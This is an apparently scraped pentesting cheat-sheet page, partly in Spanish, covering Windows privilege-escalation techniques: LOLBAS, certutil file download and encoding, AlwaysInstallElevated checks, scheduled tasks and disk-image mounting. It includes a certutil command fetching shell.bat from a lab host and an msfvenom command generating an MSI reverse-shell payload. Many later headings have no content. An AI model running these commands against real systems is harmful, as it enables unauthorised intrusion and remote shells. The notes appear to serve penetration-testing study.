Miscellaneous Techniques

LOLBAS

Binarios, scripts y librerías con funcionalidades inesperadas para un atacante.

Transferring File with Certutil

certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat

Encoding File with Certutil

certutil -encode file1 encodedfile

Decoding File with Certutil

certutil -decode encodedfile file2

Always Install Elevated

reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Generating MSI Package

msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi

Tranferir archivo

Ponerse en escucha

Executing MSI Package

Scheduled Tasks

Enumerating Scheduled Tasks

Enumerating Scheduled Tasks with PowerShell

User/Computer Description Field

Checking Local User Description Field

Enumerating Computer Description Field with Get-WmiObject Cmdlet

Mount VHDX/VMDK

Mount VMDK on Linux

Mount VHD/VHDX on Linux

Last updated